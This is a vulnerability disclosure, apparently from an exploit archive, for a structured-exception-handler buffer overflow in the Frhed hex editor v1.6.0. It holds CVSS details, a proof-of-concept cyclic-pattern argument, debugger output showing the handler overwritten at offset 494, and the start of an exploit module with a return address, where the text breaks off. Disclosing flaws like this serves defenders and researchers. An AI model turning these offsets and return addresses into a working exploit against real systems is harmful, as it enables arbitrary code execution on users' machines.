# Exploit Title: Frhed (Free hex editor) v1.6.0 - Buffer overflow
# Discovery by: Rafael Pedrero
# Discovery Date: 2022-01-09
# Vendor Homepage: http://frhed.sourceforge.net/
# Software Link : http://frhed.sourceforge.net/
# Tested Version: 1.6.0
# Tested on:  Windows 10

CVSS v3: 7.3
CVSS vector: CVSS:3.0/AV:L/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H
CWE: CWE-119

Buffer overflow controlling the Structured Exception Handler (SEH) records
in Frhed (Free hex editor) v1.6.0, and possibly other versions, may allow
attackers to execute arbitrary code via a long file name argument.

Proof of concept:

Open Frhed.exe from command line with a large string in Arguments, more
than 494 chars:

File '<Frhed_PATH>\Frhed.exe'
Arguments
'Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4...'

SEH chain of main thread
Address    SE handler
0018FC8C   41367141
35714134   *** CORRUPT ENTRY ***

0BADF00D   [+] Examining SEH chain
0BADF00D       SEH record (nseh field) at 0x0018fc8c overwritten with
normal pattern : 0x35714134 (offset 494), followed by 876 bytes of cyclic
data after the handler

                           [

                                   {
                                       'Ret'         =>    0x00401ba7, #
